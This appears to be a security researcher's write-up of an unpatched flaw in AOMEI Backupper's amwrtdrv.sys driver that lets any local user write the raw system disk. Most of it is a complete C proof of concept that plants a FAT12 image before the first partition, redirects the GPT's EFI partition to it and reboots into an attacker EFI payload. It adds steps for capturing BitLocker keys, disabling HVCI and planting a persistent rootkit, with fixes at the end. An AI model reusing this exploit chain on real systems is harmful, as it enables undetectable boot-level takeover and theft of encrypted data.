amwrtdrv: AOMEI Backupper hands every local user the disk
The integrity of the upright shall guide them: but the perverseness
of transgressors shall destroy them.
— Proverbs 11:3 (KJV)
AOMEI Backupper ships a kernel driver called amwrtdrv.sys. that driver
exposes a device interface that every local user can open, read from, and write
to. no admin token. no UAC. no privileges of any kind required.
what follows is that access turned into UEFI-level code execution, running before the kernel, before HVCI, before Defender, before anything.
prior work
CVE-2026-12780 was assigned to this driver class by someone else, against AOMEI Backupper 8.3.0. their PoC mounts a 64MB test VHD, calculates NTFS cluster offsets, and uses the driver to read and modify an admin-only file on that VHD. clean find, legitimate bug report.
this write-up is independent work, tested on version 8.4.0 (released after 8.3.0, ships the same vulnerable driver binary). the technique here is different: instead of NTFS cluster math on a test disk, we redirect the GPT, plant a FAT12 image in the unprotected pre-partition gap, and achieve EFI-level code execution on the live system disk before the OS loads. we confirmed the driver was unchanged in 8.4.0 before running.
the driver
binary: C:\Windows\System32\amwrtdrv.sys
size: 32,176 bytes, x64 PE, kernel driver
service: amwrtdrv, AUTO_START
tested: AOMEI Backupper 8.4.0
device objects:
\Device\amwrtdrv
\DosDevices\amwrtdrv
\Device\Harddisk%d\Partition0
dispatch table:
IRP_MJ_CREATE 0x00011198
IRP_MJ_CLOSE 0x000115e4
IRP_MJ_READ 0x0001132c
IRP_MJ_WRITE 0x00011494
IRP_MJ_DEVICE_CONTROL 0x0001160c
DriverUnload 0x0001171c
DO_BUFFERED_IO set. no security descriptor on the device object.
no call to IoCreateDeviceSecure, RtlSetDaclSecurityDescriptor,
or any security function whatsoever. the default DACL applies and any process
on the box can open a handle.
the create handler (0x11198)
the handler checks FileObject->FileName: must be non-empty and contain
the substring DISK. if both pass, it pulls N from the filename after
DISK, builds \Device\HarddiskN\Partition0, and calls
IoGetDeviceObjectPointer from kernel context. the returned device
object pointer lands in FileObject->FsContext2 for the read and write
handlers to use later.
that one detail is the whole bug. IoGetDeviceObjectPointer runs as the
kernel, not as your user process. every ACL on the raw disk device that would
normally deny you access? doesn't apply. the kernel doesn't check your token.
CreateFile("\\\\.\\amwrtdrv\\DISK0", GENERIC_READ|GENERIC_WRITE, ...)
no admin. no UAC. no SeDebugPrivilege. it just works.
read and write handlers
both handlers grab the disk device object from FileObject->FsContext2,
call IoBuildSynchronousFsdRequest to build an IRP targeting the raw
disk, and hand it off to the real disk driver via IofCallDriver.
mov rcx, [rbx + 0x30] ; FileObject
mov rcx, [rcx + 0x20] ; FsContext2 -- stored disk device object
call IoGetAttachedDeviceReference
call IoBuildSynchronousFsdRequest
call IofCallDriver
your buffer, your offset, forwarded to disk.sys from kernel mode. NTFS
never consulted. no permission check.
one catch: disk.sys refuses raw writes to sectors belonging to a
currently mounted partition. write to the FAT32 ESP (LBA 2048+) and you get
ERROR_ACCESS_DENIED. the IRP gets kicked back before it touches disk.
you can't just overwrite bootmgfw.efi in place.
the pre-partition gap — LBA 34 through 2047, roughly 1MB of dead space between
the end of the GPT partition table and the first actual partition — is
completely unguarded. no volume owns it. disk.sys doesn't protect it.
writes go straight through.
disk layout
Partition 0: EFI system partition
LBA 2048-616447, FAT32, ~300MB, unencrypted
Partition 1: Microsoft reserved
LBA 616448-649215
Partition 2: Basic data (C:\)
LBA 649216-209715166, NTFS, BitLocker encrypted
Pre-partition gap: LBA 34-2047 (1,028,096 bytes)
Unowned. Unprotected. Writable by any user via amwrtdrv.
Secure Boot off. Registry confirms it:
HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State\UEFISecureBootEnabled = 0
exploit chain
step 1: open the device
any local user. no elevation.
HANDLE h = CreateFile("\\\\.\\amwrtdrv\\DISK0",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
step 2: read and save the original GPT
LBA 1 = GPT header (512 bytes). LBA 2-33 = partition entries (16384 bytes).
find the ESP entry by type GUID C12A7328-F81F-11D2-BA4B-00A0C93EC93B.
save the original StartingLBA/EndingLBA. save LBA 1 and the first 512 bytes of
LBA 2 — the EFI payload will need these to restore the GPT after it runs.
step 3: build a FAT12 image and plant it in the gap
construct a FAT12 filesystem that fits in 2014 sectors (LBA 34-2047). with
SPC=4 this gives ~494 data clusters. that cluster count is in the FAT12
range, which means 12-bit packed entries are required. FAT16-style 16-bit
entries here produce a broken cluster chain that UEFI reads as all-EOF.
the image contains your EFI payload at two paths:
\EFI\Microsoft\Boot\bootmgfw.efi (matches the stored NVRAM boot entry)
\EFI\Boot\BOOTX64.EFI (pure 8.3 fallback, no NVRAM needed)
Microsoft (9 chars) needs one LFN slot: ordinal 0x41, SFN
MICROS~1, checksum 0xD8. write the 1MB image to LBA 34. no
issues — LBA 34 is outside any mounted volume.
step 4: redirect the GPT
in the partition entries, patch the ESP StartingLBA to 34 and
EndingLBA to 2047. recompute PartitionEntryArrayCRC32 over all
16384 bytes. zero the header CRC field in the GPT header, update
PartitionEntryArrayCRC32 at offset 88, recompute the header CRC32 over
the first 92 bytes. write LBA 1 and LBA 2.
step 5: reboot
UEFI reads the GPT. sees the ESP at LBA 34. mounts the FAT12. finds
\EFI\Microsoft\Boot\bootmgfw.efi (or falls back to
BOOTX64.EFI). loads and executes it. your code runs at BDS phase
— before the kernel, before HVCI, before Defender, before everything.
step 6: EFI payload
PE32+ with subsystem 0xA (EFI application), no relocations, preferred
base 0x400000. on entry it enumerates block I/O handles, finds the
physical disk (LogicalPartition==FALSE, BlockSize==512, LastBlock>10000),
writes original LBA 1 back, writes original LBA 2 back, writes proof string
to LBA 40, stalls 3 seconds, calls RT->ResetSystem(EfiResetCold).
after the cold reset UEFI re-reads the disk and sees the original GPT. Windows
boots clean. LBA 40 has your proof. nobody knows anything happened.
proof of concept
build: x86_64-w64-mingw32-gcc -O2 -o poc.exe amwrtdrv_poc.c
run: poc.exe (any local user, no admin, no patches)
/*
* https://afflicted.sh/
* Written by: _SiCk
*
* _._ _,-'""`-._
* (,-.`._,'( |\`-/|
* `-.-' \ )-`( , o o)
* `- \`_`"'-
*
* amwrtdrv.sys LPE -> EFI bootkit
* arbitrary disk r/w as unprivileged user -> UEFI-level code execution
*
* build: x86_64-w64-mingw32-gcc -O2 -o poc.exe amwrtdrv_poc.c
* run: poc.exe (any local user, no admin, no patches)
*/
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
/* efi payload -- PE32+ EFI application, embedded at build time,
patched at runtime with original GPT sectors before deploy */
static unsigned char efi_payload[] = { /* ... 7287 bytes ... */ };
#define EFI_SZ sizeof(efi_payload)
static uint32_t crc32(const void *buf, size_t len) {
uint32_t crc = 0xFFFFFFFF;
const uint8_t *p = buf;
while (len--) {
crc ^= *p++;
for (int i = 0; i < 8; i++)
crc = (crc >> 1) ^ (0xEDB88320u & -(crc & 1));
}
return ~crc;
}
static HANDLE drv_open(void) {
HANDLE h = CreateFileW(L"\\\\.\\amwrtdrv\\DISK0",
GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) {
fprintf(stderr, "[-] open failed: %lu\n", GetLastError()); exit(1);
}
return h;
}
static void disk_rw(HANDLE h, uint64_t lba, void *buf, DWORD n, int write) {
LARGE_INTEGER off; off.QuadPart = (LONGLONG)(lba * 512);
SetFilePointerEx(h, off, NULL, FILE_BEGIN);
DWORD done;
int ok = write ? WriteFile(h, buf, n, &done, NULL)
: ReadFile(h, buf, n, &done, NULL);
if (!ok || done != n) {
fprintf(stderr, "[-] %s LBA %llu failed: %lu\n",
write ? "write" : "read", (unsigned long long)lba, GetLastError());
exit(1);
}
}
#define disk_read(h,lba,buf,n) disk_rw(h,lba,buf,n,0)
#define disk_write(h,lba,buf,n) disk_rw(h,lba,buf,n,1)
#define FAT_TOTAL 2014
#define BPS 512
#define SPC 4
#define RSV 1
#define NFATS 2
#define RCNT 512
#define RDSEC 32
#define FAT_SZ 2
#define FIRST_DATA 37
#define CLUST_EFI 2
#define CLUST_MS 3
#define CLUST_MSBOOT 4
#define CLUST_EFBOOT 5
#define CLUST_FILE 6
static void fat12_set(uint8_t *fat, int c, uint16_t v) {
int off = c * 3 / 2;
if (c % 2 == 0) {
fat[off] = v & 0xFF;
fat[off+1] = (fat[off+1] & 0xF0) | ((v >> 8) & 0x0F);
} else {
fat[off] = (fat[off] & 0x0F) | ((v & 0x0F) << 4);
fat[off+1] = (v >> 4) & 0xFF;
}
}
static uint8_t sfn_cksum(const char *s) {
uint8_t c = 0;
for (int i = 0; i < 11; i++)
c = (((c & 1) << 7) | ((c >> 1) & 0x7F)) + (uint8_t)s[i];
return c;
}
static uint8_t *build_fat12(const uint8_t *efi, size_t efi_sz) {
uint8_t *img = calloc(1, FAT_TOTAL * BPS);
/* BPB */
img[0]=0xEB; img[1]=0x58; img[2]=0x90;
memcpy(img+3,"SICK_ESP",8);
*(uint16_t*)(img+11)=BPS; img[13]=SPC;
*(uint16_t*)(img+14)=RSV; img[16]=NFATS;
*(uint16_t*)(img+17)=RCNT; *(uint16_t*)(img+19)=FAT_TOTAL;
img[21]=0xF8; *(uint16_t*)(img+22)=FAT_SZ;
*(uint16_t*)(img+24)=63; *(uint16_t*)(img+26)=255;
img[36]=0x80; img[38]=0x29; *(uint32_t*)(img+39)=0x53694357;
memcpy(img+43,"SICK EFI ",11); memcpy(img+54,"FAT12 ",8);
img[510]=0x55; img[511]=0xAA;
/* FAT12 -- 12-bit packed entries. 494 clusters = FAT12 range.
FAT16-style 16-bit entries break the cluster chain here. */
uint8_t *fat = img + RSV*BPS;
fat12_set(fat,0,0xFF8); fat12_set(fat,1,0xFFF);
fat12_set(fat,CLUST_EFI,0xFFF); fat12_set(fat,CLUST_MS,0xFFF);
fat12_set(fat,CLUST_MSBOOT,0xFFF); fat12_set(fat,CLUST_EFBOOT,0xFFF);
int n_clus = (int)((efi_sz+SPC*BPS-1)/(SPC*BPS));
for (int i = 0; i < n_clus; i++)
fat12_set(fat, CLUST_FILE+i, i<n_clus-1 ? CLUST_FILE+i+1 : 0xFFF);
memcpy(fat+FAT_SZ*BPS, fat, FAT_SZ*BPS);
/* file data */
for (int i = 0; i < n_clus; i++) {
size_t o = (size_t)i*SPC*BPS, c = efi_sz-o;
if (c > (size_t)(SPC*BPS)) c = SPC*BPS;
memcpy(img+(FIRST_DATA+(CLUST_FILE-2+i)*SPC)*BPS, efi+o, c);
}
/* root dir: EFI/ */
uint8_t *root = img+(RSV+NFATS*FAT_SZ)*BPS;
memcpy(root,"EFI ",11); root[11]=0x10; *(uint16_t*)(root+26)=CLUST_EFI;
/* /EFI: LFN "Microsoft" + SFN MICROS~1 + BOOT fallback dir */
uint8_t *ed = img+(FIRST_DATA+(CLUST_EFI-2)*SPC)*BPS;
static const uint16_t msn[13]={'M','i','c','r','o','s','o','f','t',0,0xFFFF,0xFFFF,0xFFFF};
ed[0]=0x41; memcpy(ed+1,msn,10); ed[11]=0x0F; ed[13]=sfn_cksum("MICROS~1 ");
memcpy(ed+14,msn+5,12); memcpy(ed+28,msn+11,4);
memcpy(ed+32,"MICROS~1 ",11); ed[43]=0x10; *(uint16_t*)(ed+58)=CLUST_MS;
memcpy(ed+64,"BOOT ",11); ed[75]=0x10; *(uint16_t*)(ed+90)=CLUST_EFBOOT;
/* /EFI/Microsoft -> BOOT/ -> BOOTMGFW.EFI */
uint8_t *md=img+(FIRST_DATA+(CLUST_MS-2)*SPC)*BPS;
memcpy(md,"BOOT ",11); md[11]=0x10; *(uint16_t*)(md+26)=CLUST_MSBOOT;
uint8_t *mb=img+(FIRST_DATA+(CLUST_MSBOOT-2)*SPC)*BPS;
memcpy(mb,"BOOTMGFW",8); memcpy(mb+8,"EFI",3);
mb[11]=0x20; *(uint16_t*)(mb+26)=CLUST_FILE; *(uint32_t*)(mb+28)=(uint32_t)efi_sz;
/* /EFI/Boot -> BOOTX64.EFI (pure 8.3 fallback) */
uint8_t *eb=img+(FIRST_DATA+(CLUST_EFBOOT-2)*SPC)*BPS;
memcpy(eb,"BOOTX64 ",8); memcpy(eb+8,"EFI",3);
eb[11]=0x20; *(uint16_t*)(eb+26)=CLUST_FILE; *(uint32_t*)(eb+28)=(uint32_t)efi_sz;
return img;
}
static void do_reboot(void) {
HANDLE tok;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &tok);
TOKEN_PRIVILEGES tp; tp.PrivilegeCount=1;
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
LookupPrivilegeValueW(NULL, L"SeShutdownPrivilege", &tp.Privileges[0].Luid);
AdjustTokenPrivileges(tok, FALSE, &tp, 0, NULL, NULL); CloseHandle(tok);
if (!InitiateSystemShutdownExW(NULL,NULL,0,TRUE,TRUE,SHTDN_REASON_FLAG_PLANNED))
fprintf(stderr,"[!] reboot failed (%lu) -- do it manually\n",GetLastError());
}
static const uint8_t ESP_GUID[16] = {
0x28,0x73,0x2A,0xC1,0x1F,0xF8,0xD2,0x11,0xBA,0x4B,0x00,0xA0,0xC9,0x3E,0xC9,0x3B
};
int main(void) {
puts("https://afflicted.sh/\nWritten by: _SiCk\n\n"
" _._ _,-'\"\"` -._\n"
"(,-.`._,'( |\\`-/|\n"
" `-.-' \\ )-`( , o o)\n"
" `- \\`_`\"'-\n\n"
"amwrtdrv.sys lpe -> efi bootkit\n");
HANDLE h = drv_open();
printf("[+] opened \\\\.\\amwrtdrv\\DISK0 handle=%p\n", (void*)h);
static uint8_t sec1[512], sec2[512*32];
disk_read(h,1,sec1,512); disk_read(h,2,sec2,512*32);
if (memcmp(sec1,"EFI PART",8)) { fputs("[-] not GPT\n",stderr); exit(1); }
uint32_t orig_hdr_crc; memcpy(&orig_hdr_crc,sec1+16,4);
printf("[*] GPT hdr_crc=%08x\n", orig_hdr_crc);
int esp_idx=-1; uint64_t esp_start, esp_end;
for (int i=0; i<128; i++) {
if (!memcmp(sec2+i*128, ESP_GUID, 16)) {
esp_idx=i;
memcpy(&esp_start,sec2+i*128+32,8);
memcpy(&esp_end, sec2+i*128+40,8);
break;
}
}
if (esp_idx<0) { fputs("[-] no ESP\n",stderr); exit(1); }
printf("[*] ESP at LBA %llu-%llu\n",
(unsigned long long)esp_start,(unsigned long long)esp_end);
/* patch efi binary: replace marker bytes with real GPT sectors */
uint8_t *efi = malloc(EFI_SZ); memcpy(efi,efi_payload,EFI_SZ);
static const uint8_t m1[8]={0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11};
static const uint8_t m2[8]={0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22};
uint8_t *p1=NULL, *p2=NULL;
for (size_t i=0; i+8<=EFI_SZ; i++) {
if (!p1 && !memcmp(efi+i,m1,8)) p1=efi+i;
if (!p2 && !memcmp(efi+i,m2,8)) p2=efi+i;
}
if (!p1||!p2) { fputs("[-] markers not found\n",stderr); exit(1); }
memcpy(p1,sec1,512); memcpy(p2,sec2,512);
printf("[*] patched EFI binary with original GPT sectors\n");
printf("[*] building FAT12 image (2014 sectors)...\n");
uint8_t *fat12 = build_fat12(efi,EFI_SZ);
printf("[*] writing FAT12 to LBA 34-2047...\n");
disk_write(h,34,fat12,FAT_TOTAL*BPS);
free(fat12); free(efi);
printf("[*] redirecting GPT ESP entry -> LBA 34...\n");
static uint8_t parts_mod[512*32]; memcpy(parts_mod,sec2,sizeof(parts_mod));
uint64_t ns=34, ne=2047;
memcpy(parts_mod+esp_idx*128+32,&ns,8);
memcpy(parts_mod+esp_idx*128+40,&ne,8);
uint32_t pe_crc=crc32(parts_mod,16384);
static uint8_t hdr_mod[512]; memcpy(hdr_mod,sec1,512);
memcpy(hdr_mod+88,&pe_crc,4); memset(hdr_mod+16,0,4);
uint32_t hdr_crc=crc32(hdr_mod,92); memcpy(hdr_mod+16,&hdr_crc,4);
disk_write(h,1,hdr_mod,512);
disk_write(h,2,parts_mod,512);
CloseHandle(h);
printf("[+] done -- rebooting\n LBA 40 will contain proof after boot\n");
do_reboot();
return 0;
}
output, run as user noob (zero elevation, no groups):
[+] opened \\.\amwrtdrv\DISK0 handle=00000000000000ec
[*] GPT hdr_crc=3455ba4f
[*] ESP at LBA 2048-616447
[*] patched EFI binary with original GPT sectors
[*] building FAT12 image (2014 sectors)...
[*] writing FAT12 to LBA 34-2047...
[*] redirecting GPT ESP entry -> LBA 34...
[+] done -- rebooting
LBA 40 will contain proof after boot
LBA 40, read back from the live system after Windows rebooted clean:
[SiCk] EFI exec confirmed -- amwrtdrv lpe -- afflicted.sh
no admin. no network access. no kernel exploit. no patches.
what you can do with this
your EFI payload runs before anything Windows-side has a chance to wake up. before the kernel loads, before HVCI initializes, before Defender gets a chance to sneeze, before any EDR hooks a single kernel callback.
- modify UEFI variables, boot order, anything writable in firmware
- chain-load the real
bootmgfw.efiafter intercepting the TPM unseal to capture the VMK in memory - disable HVCI by patching BCD before handing off to
winload.efi - if BitLocker is off, write directly to NTFS, patch System32, whatever
- drop a persistent rootkit in the ESP that survives an OS reinstall
does hvci help? (no)
HVCI uses the hypervisor to enforce that only signed code runs in the kernel. doesn't help here. look at where it sits in the boot chain:
UEFI firmware
-> bootmgfw.efi (your code runs here)
-> winload.efi
-> ntoskrnl.exe
-> Hyper-V
-> HVCI starts (too late)
HVCI protects the kernel from unsigned code. your attack code already ran
before the kernel existed. you can instruct winload.efi not to enable
VBS, or load your own hypervisor instead of Hyper-V. HVCI can't protect the
binaries that are responsible for starting it.
does bitlocker help? (sort of, with caveats)
BitLocker encrypts the NTFS data partition. it does not and cannot encrypt the
ESP. UEFI firmware needs to read bootmgfw.efi before any decryption
key exists, so the ESP has to stay plaintext. the disk write works regardless
of whether BitLocker is running.
where BitLocker does bite: it seals the VMK into the TPM against PCR
measurements. PCR4 includes a hash of the EFI binary loaded by the firmware.
replace bootmgfw.efi, PCR4 changes on next boot, TPM refuses to
release the VMK, BitLocker recovery mode, encrypted NTFS stays locked.
here's the catch. on a machine where Secure Boot is already off, PCR7 is zero.
that makes TPM-only BitLocker vulnerable to the classic evil maid approach:
write a shim that loads the real bootmgfw.efi from a renamed backup,
intercepts the moment the TPM unseals the VMK, captures it from memory, then
continues the normal boot. PCR4 changes because our shim ran, but we let the
original binary handle the actual TPM interaction, so the unseal succeeds.
encrypted data is now yours.
TPM + PIN mode closes that specific avenue since the attacker can't replay the PIN, but your EFI code still runs either way. the ESP is always fair game.
fixes
root cause: the device object is created with no security descriptor.
in DriverEntry, apply a DACL that restricts access to LocalSystem
or whatever service account AOMEI runs under. only that account should be able
to open the device for write:
RtlCreateSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
RtlSetDaclSecurityDescriptor(&sd, TRUE, adminOnlyAcl, FALSE);
/* pass &sd to IoCreateDeviceSecure instead of IoCreateDevice */
also: this driver doesn't need to be AUTO_START. load it when AOMEI is
actually doing a backup, unload it when done. sitting resident 24/7 for a
driver this dangerous is not a good look.
on the defensive side, turn Secure Boot on. that alone blocks the bootkit delivery since UEFI will refuse to load your unsigned EFI binary. BitLocker with TPM+PIN adds protection for data at rest. EDR and ASR rules won't catch this because the driver is legitimately signed and the attack is just using its intended interface in a way the author clearly didn't think about.
timeline
Discovered: 2026
Tested version: AOMEI Backupper 8.4.0
CVE-2026-12780: assigned to same bug class by separate researcher, against 8.3.0
Vendor notified: not yet
Written up: 2026-06-25
if you're running AOMEI Backupper and Secure Boot is off, any local user owns your boot chain. there's no heap spray, no ROP chain, no type confusion. it's a kernel driver that opens the physical disk for anyone who asks, because whoever wrote it never thought about what happens when the wrong person does the asking.
and honestly, if you think this is the only backup tool pulling this kind of stunt, good luck sleeping at night.
. _SiCk · afflicted.sh